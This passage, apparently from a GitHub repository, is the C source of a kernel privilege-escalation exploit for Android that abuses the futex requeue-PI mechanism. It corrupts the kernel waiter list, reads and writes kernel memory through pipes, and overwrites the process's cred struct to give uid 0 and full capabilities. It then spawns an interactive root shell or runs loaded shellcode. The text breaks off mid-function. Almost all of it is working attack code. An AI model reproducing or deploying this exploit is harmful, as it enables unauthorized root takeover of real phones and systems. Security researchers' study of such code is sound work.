-
Notifications
You must be signed in to change notification settings - Fork 70
/
futex_requeue.c
1356 lines (1036 loc) · 42.6 KB
/
futex_requeue.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <unistd.h>
#include <linux/futex.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <limits.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdint.h>
#include <pwd.h>
#include <arpa/inet.h>
#include <sys/mman.h>
#include "log.h"
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#define ERROR 0
#define ROOT_SUCCESS 1
#define FIX_SUCCESS 2
#define ALL_DONE 3
#define KERNEL_START 0xc0000000
unsigned char shellcode_buf[2048] = { 0x90, 0x90, 0x90, 0x90 };
unsigned char config_buf[2048] = { "c0nfig" };
int config_new_samsung = 0;
int config_iovstack = 2;
int config_offset = 0;
int config_force_remove = 0;
int run_shellcode_as_root() {
int uid = getuid();
if (uid != 0) {
LOGV("Not uid=%d, returning\n", uid);
return 0;
}
LOGV("running shellcode, uid=%d\n", uid);
int pid = fork();
LOGV("onload, pid=%d\n", pid);
if (pid == 0) {
if (shellcode_buf[0] == 0x90) {
LOGV("No shellcode, uid=%d\n", uid);
system("/system/bin/sh -i");
return 0;
}
LOGV("shellcode, pid=%d, tid=%d\n", getpid(), gettid());
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
return 0;
}
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
void (*shellcode)() = (void(*)())ptr;
shellcode();
}
LOGV("finished, pid=%d\n", pid);
return pid;
}
#define DEV_PTMX "/dev/ptmx"
int PORT = 58295;
unsigned long addr, hacked_node, hacked_node_alt;
int HACKS_fdm = 0;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_mutex_t done_kill_lock;
pthread_mutex_t thread_returned_lock;
pthread_cond_t done;
pthread_cond_t done_kill;
pthread_cond_t thread_returned;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int lock1 = 0;
int lock2 = 0;
pid_t last_tid = 0, leaker_pid = 0, stack_modifier_tid = 0, pid6 = 0, pid7 = 0;
pthread_mutex_t *is_kernel_writing;
int pipe_fd[2];
int sockfd;
pid_t tid_12 = 0;
pid_t tid_11 = 0;
unsigned long first_kstack_base, final_kstack_base, leaker_kstack_base, target_waiter;
unsigned long t11;
unsigned long lock;
char shell_server[256];
int loop_limit = 10;
pid_t remove_pid[1024];
unsigned long remove_waiter[1024];
int remove_counter = 0;
const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};
const char str_1[] = {1, 0, 0, 0, 0};
void reset_hacked_list(unsigned long hacked_node);
/*********************/
/*** PIPE STUFF ******/
/*********************/
// Pipe server
static int start_pipe_server() {
int nbytes,msg;
int done_root = 0;
/* Parent process closes up output side of pipe */
close(pipe_fd[1]);
LOGD("[CONTROLLER] Controller started with PID %d\n", getpid());
while(1) {
/* Read in a message from the exploiting process */
nbytes = read(pipe_fd[0], &msg, sizeof(msg));
if(nbytes <= 0) return 0;
if(msg == ROOT_SUCCESS) {
LOGD("[CONTROLLER] Exploit succeded\n");
done_root = 1;
}
if(msg == FIX_SUCCESS) {
LOGD("[CONTROLLER] Fix succeded\n");
}
if(msg == ALL_DONE) {
LOGD("[CONTROLLER] Exploit completed\n");
if(done_root)
return 1;
}
if(msg == ERROR) {
if(done_root) {
LOGD("[CONTROLLER] Error but exploit succeded\n");
return 1;
}
else {
LOGD("[CONTROLLER] Error received\n");
return 0;
}
}
}
}
// Send a message to the controller
static void send_pipe_msg(int msg) {
int msg_to_send;
msg_to_send = msg;
write(pipe_fd[1], &msg, sizeof(msg));
}
// Read kernel space using pipe
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], writebuf, count);
if (len != count) {
LOGD("[PIPE] FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
return -1;
}
read(pipefd[0], readbuf, count);
LOGD("[PIPE] Read %d bytes\n", count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
// Write in kernel space using pipe
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
int pipefd[2];
ssize_t len;
int ret = 0;
pipe(pipefd);
ret = write(pipefd[1], writebuf, count);
len = read(pipefd[0], readbuf, count);
if (len != count) {
LOGD("[PIPE] FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
return -1;
}
else
LOGD("[PIPE] Written %d bytes\n", (int)len);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
/*********************/
/**** SOCKET STUFF ***/
/*********************/
void *accept_socket(void *arg) {
int yes;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
socklen_t optlen;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if(sockfd < 0) {
LOGD("[ACCEPT SOCKET] Socket creation failed\n");
send_pipe_msg(ERROR);
return NULL;
}
yes = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
// We need set the socket kernel buffer as smaller as possible.
// When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if(bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
LOGD("[ACCEPT SOCKET] Socket bind failed\n");
send_pipe_msg(ERROR);
return NULL;
}
if(listen(sockfd, 1) < 0) {
LOGD("[ACCEPT SOCKET] Socket listen failed\n");
send_pipe_msg(ERROR);
return NULL;
}
while(1) {
ret = accept(sockfd, NULL, NULL);
if (ret < 0) {
LOGD("[ACCEPT SOCKET] Socket accept failed\n");
send_pipe_msg(ERROR);
return NULL;
} else {
LOGD("[ACCEPT SOCKET] Client accepted!\n");
}
}
return NULL;
}
int make_socket() {
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
socklen_t optlen;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
LOGD("[MAKE SOCKET] socket failed.\n");
send_pipe_msg(ERROR);
return 0;
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (1) {
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
if (ret >= 0) {
break;
}
usleep(10);
}
// We need set the socket kernel buffer as smaller as possible
// When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
/*************************/
/**** KERNEL STUFF *******/
/*************************/
void stop_for_error() {
LOGD("[ERROR] Sleeping for error");
send_pipe_msg(ERROR);
while(1)
sleep(10);
}
// Remove a pending waiter
void remove_remaining_waiter(int index) {
unsigned long addr;
unsigned long val[4];
LOGD("[REMOVER] Killing tid %d waiter %x\n", remove_pid[index], (unsigned int) remove_waiter[index]);
addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
reset_hacked_list(0xbeffe0);
// Create a correct next and previous waiter
*((unsigned long *)0xbf0004) = remove_waiter[index]; // (entry->next)->prev
*((unsigned long *)0xbeffe0) = remove_waiter[index]; // (entry->prev)->next
*((unsigned long *)0xbf000c) = (remove_waiter[index]+8); // (entry->node_next)->node_prev
*((unsigned long *)0xbeffe8) = (remove_waiter[index]+8); // (entry->node_prev)->node_next
val[0] = 0xbf0000;
val[1] = 0xbeffe0;
val[2] = 0xbf0008;
val[3] = 0xbeffe8;
write_pipe((void *)(remove_waiter[index]), &val, 16);
// Now we can kill the waiter safely
pthread_mutex_lock(&is_thread_awake_lock);
kill(remove_pid[index], 14);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
munmap((unsigned long *)0xbef000, 0x2000);
}
// Fix the kernel waiter list
int fix_kernel_waiter_list(unsigned int head) {
unsigned int val, val2, val3, list, prio6, prio3;
int i, err = 0, ret = 0;
unsigned long w[4];
unsigned int as[12];
LOGD("[FIXER] prio 6 at %x\n", head);
list = head + 4;
// Save the prio6 waiter
read_pipe((void *) list, &prio6, 4);
// Save the prio3 waiter
read_pipe((void *) (list+4), &prio3, 4);
// Fix prio3
ret = write_pipe((void *) (prio3+4), &t11, 4); // prio_list->prev
if(ret == -1)
err = 1;
#ifdef DEBUG
//////////////// Just debug //////////////////////////////
read_pipe((void *) (list-4), &as, 48);
LOGD("[FIXER] First: %x %x %x %x %x %x %x %x %x %x %x %x\n",
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
//////////////////////////////////////////////
#endif
// Find the first waiter before the hacked waiter. We need to fix it
for(i = 0; i < 2; i++) {
read_pipe((void *) list, &val, 4);
list = val;
if(i == 0) {
// At the beginning we need to save the lock pointer
read_pipe((void *) (list + 40), &lock, 4);
#ifdef DEBUG
//////////////// Just debug //////////////////////////////
read_pipe((void *) (list-4), &as, 48);
LOGD("[FIXER] Second: %x %x %x %x %x %x %x %x %x %x %x %x\n",
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
//////////////////////////////////////////////
#endif
}
}
// Adjust the lock->next pointer
LOGD("[FIXER] Looking for the lock next offset address\n");
if(lock) {
for(i = 0; i < 5; i++) {
read_pipe((void *) (lock + (i * 4)), &val3, 4);
if(val3 == (prio3 + 8)) {
LOGD("[FIXER] Lock next offset fount at %d\n", (i * 4));
lock = lock + (i * 4);
}
}
}
// Fix the lock->prev. Now points to the hacked node. Change it to the prio 12 waiter
val2 = t11 + 8;
ret = write_pipe((void *) (lock + 4), &val2, 4); // lock->prev
if(ret == -1)
err = 1;
// Fix prio 7 waiter. It points to the hacked node. Update it pointing to the prio 11 waiter
val2 = t11+8;
ret = write_pipe((void *) (list), &t11, 4); // prio_list->next
if(ret == -1)
err = 1;
ret = write_pipe((void *) (list + 8), &val2, 4); // node_list->next
if(ret == -1)
err = 1;
// Fix prio 11. Points to the hacked node, fix it to point to the prio 7 waiter
w[0] = prio3; // prio_list->next
w[1] = list; // prio_list->prev
w[2] = lock; // node_list->next
w[3] = list + 8; // node_list->prev
ret = write_pipe((void *) t11, &w, 16);
if(ret == -1)
err = 1;
LOGD("[FIXER] Lock->next found at %x\n", (unsigned int) lock);
LOGD("[FIXER] All done!\n");
#ifdef DEBUG
///////////////////////////// DEBUG ////////////////////////////7
read_pipe((void *) (prio3-4), &as, 48);
LOGD("[FIXER] prio3 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio3-4),
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
read_pipe((void *) (head), &as, 48);
LOGD("[FIXER] prio4 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(head),
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
read_pipe((void *) (prio6-4), &as, 48);
LOGD("[FIXER] prio6 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio6-4),
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
read_pipe((void *) (list - 4), &as, 48);
LOGD("[FIXER] prio7 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(list-4),
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
read_pipe((void *) (t11-4), &as, 48);
LOGD("[FIXER] prio11 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(t11-4),
as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
read_pipe((void *) (lock), &as, 16);
LOGD("LOCK: %x %x %x %x\n", as[0], as[1], as[2], as[3]);
//////////////////////////////////////////////
#endif
sleep(1);
return err;
}
// Hack in the kernel
void hack_the_kernel(int signum) {
char *slavename;
int pipefd[2];
char readbuf[0x100];
unsigned long thread_info_dump[4];
unsigned long task_struct_dump[0x200];
unsigned long cred_struct_dump[0x40];
unsigned long cred_struct_dump_orig[0x40];
unsigned long group_info_struct_dump[6];
unsigned long group_info_struct_dump_orig[6];
pid_t pid;
int i, ret;
unsigned long val1, val2;
int err = 0;
leaker_pid = gettid();
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
// Check if we are the first or the second evil thread
if (final_kstack_base == 0) {
LOGD("[FIRST KERNEL HACK] First evil thread started\n");
pthread_mutex_lock(is_kernel_writing);
// We need to use a pipe... Open a pts device to use it
HACKS_fdm = open(DEV_PTMX, O_RDWR);
unlockpt(HACKS_fdm);
slavename = ptsname(HACKS_fdm);
open(slavename, O_RDWR);
LOGD("[FIRST KERNEL HACK] First evil thread going to wait\n");
if(config_new_samsung) {
pipe(pipefd);
syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);
}
else {
read(HACKS_fdm, readbuf, 0x100);
}
// Here the TRIGGER told us to continue the dirty job
// Update the thread_info struct of the second evil thread using the pipe.
write_pipe((void *)(final_kstack_base + 8), (void *)str_ffffffff, 4);
LOGD("[FIRST KERNEL HACK] All Done!\n");
// Tell the second thread that now can continue
pthread_mutex_unlock(is_kernel_writing);
// Add a waiter at the beginning of the list so we can leak it
LOGD("[LEAKER] Adding waiter with prio 3 as leaker\n");
setpriority(PRIO_PROCESS, 0, 4);
LOGD("[LEAKER] PID %d TID %d\n", getpid(), gettid());
syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
// If we are here the stack modifier has been killed
LOGD("[LEAKER] Leaker unlocked and exiting %d\n", gettid());
// Tell to the second evil thread that it can fix the waiter list now
pthread_mutex_lock(&done_kill_lock);
pthread_cond_signal(&done_kill);
pthread_mutex_unlock(&done_kill_lock);
sleep(5);
return;
}
//////////////////////////////////////////
// From here we are the second evil thread
LOGD("[SECOND KERNEL HACK] Waiting to be powered!\n");
pthread_mutex_lock(is_kernel_writing);
sleep(2);
LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
read_pipe((void *)final_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
LOGD("[SECOND KERNEL HACK] task_struct at %x\n", (unsigned int) thread_info_dump[3]);
val1 = 0;
val2 = 0;
pid = 0;
LOGD("[SECOND KERNEL HACK] Parsing thread_info for cred...\n");
// Parse the task_struct dump in order to find the cred struct pointer
// If we have four succesive kernel pointer -> we have the cred struct
for (i = 0; i < 0x200; i++) {
if (task_struct_dump[i] == task_struct_dump[i + 1]) {
if (task_struct_dump[i] > 0xc0000000) {
if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
if (task_struct_dump[i + 2] > 0xc0000000) {
if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
if (task_struct_dump[i + 4] > 0xc0000000) {
if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
if (task_struct_dump[i + 6] > 0xc0000000) {
val1 = task_struct_dump[i + 7]; // Found offset for the cred struct
LOGD("[SECOND KERNEL HACK] %x %d: cred struct pointer FOUND!\n", (unsigned int) val1, (i+7));
break;
}
}
}
}
}
}
}
}
}
if(!val1) {
LOGD("[SECOND KERNEL HACK] cred pointer NOT FOUND. Aborting...\n");
stop_for_error();
}
LOGD("[SECOND KERNEL HACK] reading cred struct for group_info\n");
// Update the cred struct
read_pipe((void *)val1, cred_struct_dump, 0x100);
memcpy((void *)cred_struct_dump_orig, (void *)cred_struct_dump, 0x100); // Save the original struct
val2 = cred_struct_dump[0x16]; // group_info struct
if (val2 > 0xc0000000) {
if (val2 < 0xffff0000) {
read_pipe((void *)val2, group_info_struct_dump, 0x18); // group_info struct dump
memcpy((void *)group_info_struct_dump_orig, (void *)group_info_struct_dump, 0x18);
if (group_info_struct_dump[0] != 0) {
if (group_info_struct_dump[1] != 0) {
if (group_info_struct_dump[2] == 0) {
if (group_info_struct_dump[3] == 0) {
if (group_info_struct_dump[4] == 0) {
if (group_info_struct_dump[5] == 0) {
group_info_struct_dump[0] = 1; // atomic_t usage
group_info_struct_dump[1] = 1; // int ngroups
// Update the group_info struct in the kernel
LOGD("[SECOND KERNEL HACK] Updating group_info struct...\n");
write_pipe((void *)val2, group_info_struct_dump, 0x18);
}
}
}
}
}
}
}
}
// Update the cred struct
cred_struct_dump[1] = 0; // uid
cred_struct_dump[2] = 0; // gid
cred_struct_dump[3] = 0; // suid
cred_struct_dump[4] = 0; // sgid
cred_struct_dump[5] = 0; // euid
cred_struct_dump[6] = 0; // egid
cred_struct_dump[7] = 0; // fsuid
cred_struct_dump[8] = 0; // fsgid
cred_struct_dump[10] = 0xffffffff; // cap_inheritable
cred_struct_dump[11] = 0xffffffff; // cap_permitted
cred_struct_dump[12] = 0xffffffff; // cap_effective
cred_struct_dump[13] = 0xffffffff; // cap_bset
cred_struct_dump[14] = 0xffffffff; // jit_keyring
cred_struct_dump[15] = 0xffffffff; // *session_keyring
cred_struct_dump[16] = 0xffffffff; // *process_keyring
cred_struct_dump[17] = 0xffffffff; // *thread_keyring;
LOGD("[SECOND KERNEL HACK] Updating cred struct in the kernel...\n");
// Update the cred struct in the kernel
write_pipe((void *)val1, cred_struct_dump, 0x48);
sleep(2);
pid = syscall(__NR_gettid);
// Update the pid
LOGD("[SECOND KERNEL HACK] Looking for PID..\n");
i = 0;
while (1) {
if (task_struct_dump[i] == pid) {
LOGD("[SECOND KERNEL HACK] PID found. Update and hack....\n");
write_pipe((void *)(thread_info_dump[3] + (i << 2)), (void *)str_1, 4);
if (getuid() != 0) {
LOGD("[SECOND KERNEL HACK] Something wrong. Root failed. Aborting...\n");
send_pipe_msg(ERROR);
} else {
LOGD("[SECOND KERNEL HACK] Root process succeded!!!\n");
//////////// ROOT CODE HERE /////////////////
// Fork and install the root shell
if(fork() == 0) {
LOGD("running as pid %d, tid %d, with uid %d", getpid(), gettid(), getuid());
run_shellcode_as_root();
exit(0);
}
//////////////////////////////////////////////
sleep(3);
close(sockfd);
send_pipe_msg(ROOT_SUCCESS);
break;
}
}
i++;
}
// Fix cred_struct and group_info_struct with originals
//sleep(3); // be sure nothing is happening before to fix
LOGD("[SECOND KERNEL HACK] Fixing cred struct\n");
write_pipe((void *)val1, cred_struct_dump_orig, 0x48);
sleep(2);
LOGD("[SECOND KERNEL HACK] Fixing group info\n");
write_pipe((void *)val2, group_info_struct_dump_orig, 0x18);
sleep(2);
// To fix the waiter list we need to know where is the beginning of the list (we hacked it).
// To do that we use the leaker thread that has a waiter with prio 3
LOGD("[SECOND KERNEL HACK] I have %x as thread_info leaker!!!\n", (unsigned int) leaker_kstack_base);
LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
read_pipe((void *)leaker_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
LOGD("[SECOND KERNEL HACK] leaker task_struct at %x\n", (unsigned int) thread_info_dump[3]);
int k = 0;
val1 = 0;
val2 = 0;
pid = 0;
// Find the waiter in the task struct. We know is a bit after the cred_struct
LOGD("[SECOND KERNEL HACK] Parsing leaker thread_info for cred...\n");
// Parse the task_struct dump in order to find the cred struct pointer
// If we have four succesive kernel pointer -> we have the cred struct
for (i = 0; i < 0x200; i++) {
if (task_struct_dump[i] == task_struct_dump[i + 1]) {
if (task_struct_dump[i] > 0xc0000000) {
if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
if (task_struct_dump[i + 2] > 0xc0000000) {
if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
if (task_struct_dump[i + 4] > 0xc0000000) {
if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
if (task_struct_dump[i + 6] > 0xc0000000) {
LOGD("[SECOND KERNEL HACK] We are at cred\n");
// We need to find the waiter in the task_struct
for(k = 0; k<100; k++) {
if(task_struct_dump[k + i] > 0xc0000000 && task_struct_dump[k + i] != 0xffffffff) {
read_pipe((void *) task_struct_dump[k + i], &val1, 4);
// Check a pointer pointing to 0x7b (123 = prio 3)
//if(val1 == 0x7b) {
if(val1 == 0x7c) {
target_waiter = (unsigned int) task_struct_dump[k + i];
LOGD("Found target_waiter %d %x\n", k + i, (unsigned int) target_waiter);
sleep(2);
break;
}
}
}
break;
}
}
}
}
}
}
}
}
}
if(!target_waiter)
stop_for_error();
// Get the next node, so the prio 6 node
LOGD("[SECOND KERNEL HACK] Waiting the thread\n");
pthread_mutex_lock(&done_kill_lock);
// Ok now we need to remove
int h;
for(h = 0; h < remove_counter; h++)
remove_remaining_waiter(h);
if(fix_kernel_waiter_list(target_waiter) == 0)
send_pipe_msg(FIX_SUCCESS);
else
stop_for_error();
LOGD("[SECOND KERNEL HACK] Waiter list fixed\n");
// Kill the stack modifier
kill(stack_modifier_tid,14);
// Wait for the prio 4 node going out
pthread_cond_wait(&done_kill, &done_kill_lock);
LOGD("[SECOND KERNEL HACK] Prio 4 exiting, going to fix the waiter list\n");
// We fixed everything, so we can leave now
pthread_exit(NULL);
}
/***************************/
/**** THREAD FOR WAITERS ***/
/***************************/
void thread_killer(int signum) {
LOGD("[KILLER] Thread with pid %d and tid %d is going to exit\n", getpid(), gettid());
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
pthread_exit(NULL);
}
// Add a new waiter in the list with a specific prio.
void *make_action_adding_waiter(void *arg) {
int prio;
struct sigaction act;
struct sigaction act3;
int ret;
prio = (int)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
// Handler to hack in the kernel.
act.sa_handler = hack_the_kernel;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(12, &act, NULL);
// Handler to kill useless threads.
act3.sa_handler = thread_killer;
sigemptyset(&act3.sa_mask);
act3.sa_flags = 0;
act3.sa_restorer = NULL;
sigaction(14, &act3, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
LOGD("[MAKE ACTION] Adding lock with prio %d and tid %d\n", prio, gettid());
ret = syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
LOGD("[MAKE ACTION] Lock with prio %d and tid %d returned\n", prio, gettid());
// The firs node that will exit. Kill some other thread
if(prio == 11) {
LOGD("[MAKE ACTION] Killing prio 11\n");
pthread_mutex_lock(&is_thread_awake_lock);
kill(tid_11, 14);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
LOGD("[MAKE ACTION] Killing prio 7\n");
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid7, 14);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
LOGD("[MAKE ACTION] All done!\n");
sleep(1);
pthread_exit(NULL);
}
// Last node will exit
if(prio == 6) {
LOGD("[MAKE ACTION] Prio 6 node is exiting\n");
// Notify the main that we finished
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
pthread_exit(NULL);
}
// Never reached
return NULL;
}
// Create a new thread to add a new waiter with a prio
pid_t wake_actionthread(int prio) {
pthread_t th4;
pid_t pid;
LOGD("[WAKE_ACTIONTHREAD] Starting actionthread\n");
// Create the thread that will add a new lock.
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, make_action_adding_waiter, (void *)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
LOGD("[WAKE_ACTIONTHREAD] Continuing actionthread\n");
pid = last_tid;
// Needed to be sure that the new thread is waiting to acquire the lock
sleep(1);
pthread_mutex_unlock(&is_thread_desched_lock);
// Return the new thread created
return pid;
}
// This is the first evil thread.
// When the vuln is triggered will use a syscall to modify the kernel stack.
void *stack_modifier(void *name)
{
pthread_t l8;
int sockfd, ret;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
char line[20];
struct sigaction act3;
stack_modifier_tid = gettid();
LOGD("[STACK MODIFIER] Modifier started with tid %d\n", gettid());
setpriority(PRIO_PROCESS , 0, 12);
// Register an handle for a signal. We will use it to kill this thread later.
act3.sa_handler = thread_killer;
sigemptyset(&act3.sa_mask);
act3.sa_flags = 0;
act3.sa_restorer = NULL;
sigaction(14, &act3, NULL);
for (i = 0; i < 0x20; i++) {
databuf[i] = hacked_node;
}
for (i = 0; i <= 8; i++) {
